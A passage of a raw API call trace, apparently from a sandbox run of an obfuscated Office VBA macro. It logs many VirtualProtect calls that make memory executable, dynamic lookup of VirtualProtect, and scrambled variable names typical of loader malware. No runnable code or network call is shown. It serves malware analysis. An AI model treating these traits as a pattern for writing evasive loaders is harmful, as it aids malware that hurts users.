[0114.190] GetCurrentProcess () returned 0xffffffff [0114.191] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0114.191] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.191] GetCurrentProcess () returned 0xffffffff [0114.191] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0114.191] GetCurrentProcess () returned 0xffffffff [0114.191] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0114.191] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.192] GetCurrentProcess () returned 0xffffffff [0114.192] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0114.192] GetCurrentProcess () returned 0xffffffff [0114.192] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0114.192] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.192] GetCurrentProcess () returned 0xffffffff [0114.192] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0114.192] GetCurrentProcess () returned 0xffffffff [0114.192] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0114.192] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.193] GetCurrentProcess () returned 0xffffffff [0114.193] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0114.193] GetCurrentProcess () returned 0xffffffff [0114.193] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0114.193] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.194] GetCurrentProcess () returned 0xffffffff [0114.194] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0114.194] GetCurrentProcess () returned 0xffffffff [0114.194] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0114.194] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.194] GetCurrentProcess () returned 0xffffffff [0114.194] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0114.195] GetCurrentProcess () returned 0xffffffff [0114.195] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0114.195] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.195] GetCurrentProcess () returned 0xffffffff [0114.195] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0114.195] GetCurrentProcess () returned 0xffffffff [0114.195] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0114.195] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.196] GetCurrentProcess () returned 0xffffffff [0114.196] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0114.196] GetCurrentProcess () returned 0xffffffff [0114.196] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0114.196] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.197] GetCurrentProcess () returned 0xffffffff [0114.197] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0114.197] GetCurrentProcess () returned 0xffffffff [0114.197] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0114.197] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.197] GetCurrentProcess () returned 0xffffffff [0114.197] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0114.197] GetCurrentProcess () returned 0xffffffff [0114.197] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0114.198] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.198] GetCurrentProcess () returned 0xffffffff [0114.198] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0114.198] GetCurrentProcess () returned 0xffffffff [0114.198] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0114.198] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.200] GetCurrentProcess () returned 0xffffffff [0114.200] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0114.200] GetCurrentProcess () returned 0xffffffff [0114.200] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0114.200] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.201] GetCurrentProcess () returned 0xffffffff [0114.201] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0114.201] GetCurrentProcess () returned 0xffffffff [0114.201] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0114.201] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.202] GetCurrentProcess () returned 0xffffffff [0114.202] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0114.202] GetCurrentProcess () returned 0xffffffff [0114.202] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0114.202] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.203] GetCurrentProcess () returned 0xffffffff [0114.203] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0114.204] GetAsyncKeyState (vKey=3) returned 0 [0114.205] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0114.205] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0114.205] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0114.205] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0114.205] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0114.205] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0114.205] VarAdd (in: pvarLeft=0x198068, pvarRight=0x198018, pvarResult=0x198048 | out: pvarResult=0x198048) returned 0x0 [0114.205] SetErrorMode (uMode=0x8001) returned 0x8001 [0114.205] _stricmp (_Str1="kernel32", _Str2="VBE6.DLL") returned -11 [0114.205] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0114.206] SetErrorMode (uMode=0x8001) returned 0x8001 [0114.207] GetProcAddress (hModule=0x76720000, lpProcName="VirtualProtect") returned 0x76737a50 [0114.207] VirtualProtect (in: lpAddress=0x1188c020, dwSize=0x15fab2, flNewProtect=0x40, lpflOldProtect=0x197fdc | out: lpflOldProtect=0x197fdc*=0x4) returned 1 [0115.032] GetLastError () returned 0x5 [0115.032] GetAsyncKeyState (vKey=3) returned 0 [0115.036] CRetailMalloc_Alloc () returned 0xcb7ce48 [0115.036] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.036] memcpy (in: _Dst=0xcf95050, _Src=0x1978a4, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0115.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e849e, cbMultiByte=9, lpWideCharStr=0x11440228, cchWideChar=20 | out: lpWideCharStr="DgrVRLL_I") returned 9 [0115.036] CRetailMalloc_Alloc () returned 0xcb21518 [0115.036] memcpy (in: _Dst=0xcb2152c, _Src=0x11440224, _Size=0x18 | out: _Dst=0xcb2152c) returned 0xcb2152c [0115.036] memcpy (in: _Dst=0xcf94f48, _Src=0x1978bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.036] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.036] memcpy (in: _Dst=0xcf94f48, _Src=0x1976f4, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.036] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e84b8, cbMultiByte=9, lpWideCharStr=0x11440930, cchWideChar=20 | out: lpWideCharStr="kMNkamqH7") returned 9 [0115.036] memcpy (in: _Dst=0xcb21548, _Src=0x1144092c, _Size=0x18 | out: _Dst=0xcb21548) returned 0xcb21548 [0115.036] memcpy (in: _Dst=0xcf94f4c, _Src=0x1978bc, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0115.036] memcpy (in: _Dst=0xcf94f4c, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0115.037] memcpy (in: _Dst=0xcf94f50, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0115.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e84d0, cbMultiByte=9, lpWideCharStr=0x11440cd0, cchWideChar=20 | out: lpWideCharStr="RQeWcJp24") returned 9 [0115.037] memcpy (in: _Dst=0xcb21564, _Src=0x11440ccc, _Size=0x18 | out: _Dst=0xcb21564) returned 0xcb21564 [0115.037] memcpy (in: _Dst=0xcf94f54, _Src=0x1978bc, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0115.037] memcpy (in: _Dst=0xcf94f54, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0115.037] memcpy (in: _Dst=0x1976cc, _Src=0x197740, _Size=0x8 | out: _Dst=0x1976cc) returned 0x1976cc [0115.037] memcpy (in: _Dst=0xcb29d98, _Src=0x1976cc, _Size=0x8 | out: _Dst=0xcb29d98) returned 0xcb29d98 [0115.037] CRetailMalloc_Alloc () returned 0xcb649e0 [0115.037] CRetailMalloc_Free () returned 0x1 [0115.037] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.037] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x96\x96\x97\x96\x97\x96\x97\x96\x97\x97\x96\x96\x96\x96\x96\x97", cchCount1=-1, lpString2="\x96\x96\x96\x96\x97\x96\x96\x96\x96\x97\x97\x97\x97\x97\x96\x96\x96\x96", cchCount2=-1) returned 3 [0115.037] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x96\x96\x97\x96\x97\x96\x96\x96\x96\x96\x97\x96\x96\x97\x97\x96", cchCount1=-1, lpString2="\x96\x96\x96\x96\x97\x96\x96\x96\x96\x97\x97\x97\x97\x97\x96\x96\x96\x96", cchCount2=-1) returned 3 [0115.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2ede, cbMultiByte=19, lpWideCharStr=0x1976a4, cchWideChar=20 | out: lpWideCharStr="––––—––––—————––––") returned 19 [0115.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2d6e, cbMultiByte=19, lpWideCharStr=0x197704, cchWideChar=20 | out: lpWideCharStr="––––—––––—————––––") returned 19 [0115.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2d6e, cbMultiByte=19, lpWideCharStr=0x197704, cchWideChar=20 | out: lpWideCharStr="––––—––––—————––––") returned 19 [0115.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2d6e, cbMultiByte=19, lpWideCharStr=0x197704, cchWideChar=20 | out: lpWideCharStr="––––—––––—————––––") returned 19 [0115.038] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x96\x96\x97\x96\x97\x96\x97\x96\x97\x97\x96\x96\x96\x96\x96\x97", cchCount1=-1, lpString2="\x96\x96\x96\x96\x97\x96\x96\x96\x96\x97\x97\x97\x97\x97\x96\x96\x96\x96", cchCount2=-1) returned 3 [0115.038] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x96\x96\x97\x96\x97\x96\x96\x96\x96\x96\x97\x96\x96\x97\x97\x96", cchCount1=-1, lpString2="\x96\x96\x96\x96\x97\x96\x96\x96\x96\x97\x97\x97\x97\x97\x96\x96\x96\x96", cchCount2=-1) returned 3 [0115.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2d6e, cbMultiByte=19, lpWideCharStr=0x197704, cchWideChar=20 | out: lpWideCharStr="––––—––––—————––––") returned 19 [0115.039] CRetailMalloc_Alloc () returned 0xcb649e0 [0115.039] _mbscpy_s (in: _Dst=0xcb649e0, _DstSizeInBytes=0x13, _Src=0x111c2d6e | out: _Dst=0xcb649e0) returned 0x0 [0115.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0c46, cbMultiByte=26, lpWideCharStr=0x197714, cchWideChar=27 | out: lpWideCharStr="_B_var_––––—––––—————––––") returned 26 [0115.039] _mbscpy_s (in: _Dst=0x19777c, _DstSizeInBytes=0x13, _Src=0x111c2d6e | out: _Dst=0x19777c) returned 0x0 [0115.039] CRetailMalloc_Free () returned 0x1 [0115.039] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0115.039] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.039] memcpy (in: _Dst=0xcf94f48, _Src=0x1976f4, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.039] memcpy (in: _Dst=0xcf94f48, _Src=0x1976f4, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.039] memcpy (in: _Dst=0xcf94f48, _Src=0x1976f4, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.039] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.039] memcpy (in: _Dst=0xcf94f48, _Src=0x197888, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6961ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0115.040] memcpy (in: _Dst=0xcb7cf60, _Src=0x197924, _Size=0x18 | out: _Dst=0xcb7cf60) returned 0xcb7cf60 [0115.041] CRetailMalloc_Realloc () returned 0xcb7ce48 [0115.041] CRetailMalloc_Free () returned 0x1 [0115.041] GetCurrentProcess () returned 0xffffffff [0115.041] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0115.041] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.042] GetCurrentProcess () returned 0xffffffff [0115.042] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0115.042] GetCurrentProcess () returned 0xffffffff [0115.042] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0115.042] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.043] GetCurrentProcess () returned 0xffffffff [0115.043] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0115.043] GetCurrentProcess () returned 0xffffffff [0115.043] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0115.043] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.043] GetCurrentProcess () returned 0xffffffff [0115.043] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0115.043] GetCurrentProcess () returned 0xffffffff [0115.043] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0115.043] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.044] GetCurrentProcess () returned 0xffffffff [0115.044] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0115.044] GetCurrentProcess () returned 0xffffffff [0115.044] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0115.044] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.045] GetCurrentProcess () returned 0xffffffff [0115.045] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0115.045] GetCurrentProcess () returned 0xffffffff [0115.045] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0115.045] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.045] GetCurrentProcess () returned 0xffffffff [0115.045] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0115.046] GetCurrentProcess () returned 0xffffffff [0115.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0115.046] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.046] GetCurrentProcess () returned 0xffffffff [0115.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0115.046] GetCurrentProcess () returned 0xffffffff [0115.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0115.046] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.047] GetCurrentProcess () returned 0xffffffff [0115.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0115.047] GetCurrentProcess () returned 0xffffffff [0115.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0115.047] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.048] GetCurrentProcess () returned 0xffffffff [0115.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0115.048] GetCurrentProcess () returned 0xffffffff [0115.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0115.048] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.049] GetCurrentProcess () returned 0xffffffff [0115.049] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0115.049] GetCurrentProcess () returned 0xffffffff [0115.049] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0115.049] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.050] GetCurrentProcess () returned 0xffffffff [0115.050] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0115.050] GetCurrentProcess () returned 0xffffffff [0115.050] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0115.050] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.050] GetCurrentProcess () returned 0xffffffff [0115.050] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0115.051] GetCurrentProcess () returned 0xffffffff [0115.051] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0115.051] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.051] GetCurrentProcess () returned 0xffffffff [0115.051] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0115.051] GetCurrentProcess () returned 0xffffffff [0115.051] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0115.051] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.052] GetCurrentProcess () returned 0xffffffff [0115.052] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0115.052] GetCurrentProcess () returned 0xffffffff [0115.052] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0115.052] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.053] GetCurrentProcess () returned 0xffffffff [0115.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0115.053] GetCurrentProcess () returned 0xffffffff [0115.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0115.053] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.053] GetCurrentProcess () returned 0xffffffff [0115.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0115.053] GetCurrentProcess () returned 0xffffffff [0115.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0115.053] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.054] GetCurrentProcess () returned 0xffffffff [0115.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0115.054] GetCurrentProcess () returned 0xffffffff [0115.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0115.054] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.055] GetCurrentProcess () returned 0xffffffff [0115.055] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0115.055] GetCurrentProcess () returned 0xffffffff [0115.055] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0115.055] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.055] GetCurrentProcess () returned 0xffffffff [0115.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0115.056] GetCurrentProcess () returned 0xffffffff [0115.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0115.056] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.056] GetCurrentProcess () returned 0xffffffff [0115.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0115.056] GetCurrentProcess () returned 0xffffffff [0115.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0115.056] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.057] GetCurrentProcess () returned 0xffffffff [0115.057] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0115.057] GetCurrentProcess () returned 0xffffffff [0115.057] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0115.057] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.058] GetCurrentProcess () returned 0xffffffff [0115.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0115.058] GetCurrentProcess () returned 0xffffffff [0115.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0115.058] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.058] GetCurrentProcess () returned 0xffffffff [0115.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0115.058] GetCurrentProcess () returned 0xffffffff [0115.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, 